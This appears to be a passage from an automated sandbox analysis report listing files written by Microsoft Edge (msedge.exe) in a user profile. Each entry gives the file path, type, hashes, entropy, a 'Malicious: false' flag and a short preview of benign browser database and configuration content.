Preview:	...m.................DB_VERSION.1..&_.................QUERY_TIMESTAMP:arbitration_priority_list4...13376696974554953.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}].R;.................QUERY_TIMESTAMP:edge_hub_apps_manifest_gz4.7..13376696974562427.$QUERY:edge_hub_apps_manifest_gz4.7...[{"name":"edge_hub_apps_manifest_gz","url":"https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline","version":{"major":4,"minor":7,"patch":107},"hash":"Qoxdh2pZS19o99emYo77uFsfzxtXVDB75kV6eln53YE=","size":1682291}]=_.../..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivileged

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.115553444817457
Encrypted:	false
SSDEEP:	6:HE9quRRM1wkn23oH+Tcwt9Eh1ZB2KLlVE9IeGSVq2Pwkn23oH+Tcwt9Eh1tIFUv:k9qeRrfYeb9Eh1ZFLs9zGOvYfYeb9Ehp
MD5:	7DC6D465069CEF5395BFC822427A13FF
SHA1:	4D82FCAE5D6B6DA4B917C406E203337AC357880F
SHA-256:	ED802F3F635AE59B215F02F72A838800503EBF79ED683A7512EAD6E3EBD5C33D
SHA-512:	44D0E918EE3C6BC67BAF3CCF30D0E03F74846F8ABE42283624ABCF4F19FCBDD5CFF4DEA5199535B5212DA0713728AD0CF69D695F66FFF7144EE5F02EBA5C8C14
Malicious:	false
Preview:	2024/11/21-16:09:31.448 14c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/11/21-16:09:32.571 14c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46265175240454975
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu0W:TouQq3qh7z3bY2LNW9WMcUvBu0
MD5:	5B07A3CD47BACC6FCAEAB32D8B7FF5E1
SHA1:	45A74077565955CCDC202F2B8F32DF81FA943E29
SHA-256:	D5855E2A785BEDFAFE7D239FC329AEBD1A1F1CBC119412D525FF51D2DD9BF75B
SHA-512:	D0B447B4491AA98C186ACD907D8094355EEC073B531DAB792D53A279DB0DE3D47760E4E2DAB21515A4BFF1685B62CCE5CBBB6AEF73181920603C40B340FB1CB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlfq:Ls3
MD5:	ECD101E9492BE298F6EBAF90E7DC296D
SHA1:	64EF901A35B820616391FC75C728C79661E1E3A5
SHA-256:	BDB88D8A68506044CB939613EEF7610437A05AE8ED3405793672CE3B14FA7981
SHA-512:	7FE3BB3E22B924D1E1D7D26839E563A5D6D95AD78FCE7C3B444C26E297C0A90E7AE9939266F5C2A39EECF6B7070CCCA457FB20727FC8E7A7FA858768718AD506
Malicious:	false
Preview:	........................................>U..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.2075368197028125
Encrypted:	false
SSDEEP:	6:HE9VbA1wkn23oH+TcwtnG2tbB2KLlVE9PchVq2Pwkn23oH+TcwtnG2tMsIFUv:k9VbffYebn9VFLs9PMVvYfYebn9GFUv
MD5:	8F647252E36F69D35860620F9443FC19
SHA1:	F4F24CDCB97496907CA4FCDE0DE23722D3677713
SHA-256:	F602B0F175382BFD6F550B0A5A1B1614CC227CAAB6B1899A3376007BABD91F48
SHA-512:	849799BFF3AC4532F16828BF1ADE0638F6CD7140E82ED2B2CB43342596250BD8F4E6683018F992B6BD2FF0B56925D6305C449347855A2F2DB0184480A843D472
Malicious:	false
Preview:	2024/11/21-16:09:27.297 2050 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/11/21-16:09:27.331 2050 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6129360364522164
Encrypted:	false
SSDEEP:	24:TLqpR+DDNzWjJ0npnyXKUO8+j5qpu8QmL:Te8D4jJ/6Up+dUl
MD5:	68BC0133CD04DAD061C1774A113CED93
SHA1:	C54B5E89BE8F2EAAB8AF28AAE4B1C3960A67D32D
SHA-256:	FEA64C92A85D3224EB475C1A49EF7E1CAAF7AA4C804667019C1D0EA73BD6EF55
SHA-512:	B171C95F1BCBDDAD8CBC32E7AC02FF439D76E366F364881A52D76CA41309CF5D7E83BA78113FE0664C419F2179B70EC446491CF0C7366CD4139A854B1C578EFD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354127449257619
Encrypted:	false
SSDEEP:	6144:8A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:8FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	0FA5EE883FC65A99B7E3D973EC308E4E
SHA1:	1CFAC6CD2DD6F7537622A4F0E2D7AE01246095FE
SHA-256:	A6C0ECF2DBB7BD2A18183849BE6011168497150C0FFC4CDE5100FD29B66DB6E8
SHA-512:	5E85C952290DEB1B32F25A213352131381700319708BED0B12631177071DC722CE7A446E14C70F635720FDA7583C609EB8053C22985A26104721E7EA945F7AE1
Malicious:	false
Preview:	...m.................DB_VERSION.1C...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376696974734579..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.200531375177524
Encrypted:	false
SSDEEP:	6:HE9eFO1wkn23oH+Tcwtk2WwnvB2KLlVE9KrSQ+q2Pwkn23oH+Tcwtk2WwnvIFUv:k9eFZfYebkxwnvFLs9KyvYfYebkxwnQg
MD5:	1C20B573F0FD0AB90D8AF6DBB4519ADC
SHA1:	8D902119350109E10A258D8918E7F6DA19EE0918
SHA-256:	08C8BE257421C2DDC91BBA8750E59147DCAACDE92D8A0D960952763F0CAC7D94
SHA-512:	31A1E34232ECFB8B59B1304D9F297AB1ACABCE34EF10A1AF84E3B991FB9F4AC0785A8FE0E1C33DAC24E2737C8FFE78C84DC27EB7E22E8EF79EAAFE56996BB30D
Malicious:	false
Preview:	2024/11/21-16:09:31.462 1828 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/21-16:09:32.774 1828 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613738670532
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RX:C1gAg1zfvf
MD5:	F0E33CECFEDEBF04B1E3B9DC8CAD488A
SHA1:	FFAC2561555C1864F0422A3FFCD7FDBCE42BB955
SHA-256:	8BBCB4D3CF34B4EC528FD2C45C8FC403AD30EE924A8FC970419AB53BB8902B5B
SHA-512:	C155A272C2F980F407E6147B65E300B2D9F38C3F3A340C518F05450833D2EC54970C1730688A14D2BB4758041D9FD78016B71116CBF100DAC54177C2A1942F09
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.1824623674061785
Encrypted:	false
SSDEEP:	6:HE9JuDq1wkn23oH+Tcwt8aVdg2KLlVE9Lt0SQ+q2Pwkn23oH+Tcwt8aPrqIFUv:k9wfYeb0Ls9Lt0SVvYfYebL3FUv
MD5:	996ABA6CBFD7EC45404F21F531E52B70
SHA1:	8F439D95F4C26C0A6EF27467387A88F1B4A59845
SHA-256:	5D04D1419D19543DE8F7BAC04A9436F300FA70665FA728F3EB29DE0C597B5B61
SHA-512:	ACB5D1A3EDDC677294AA30E8BB51EC8ACDAC5D3D8A627DD679434C084DBAF973116293D552B383DB1461BDF41A4B0BB60F7E11CC0A4BB0ED71F5178C74FE41AB
Malicious:	false
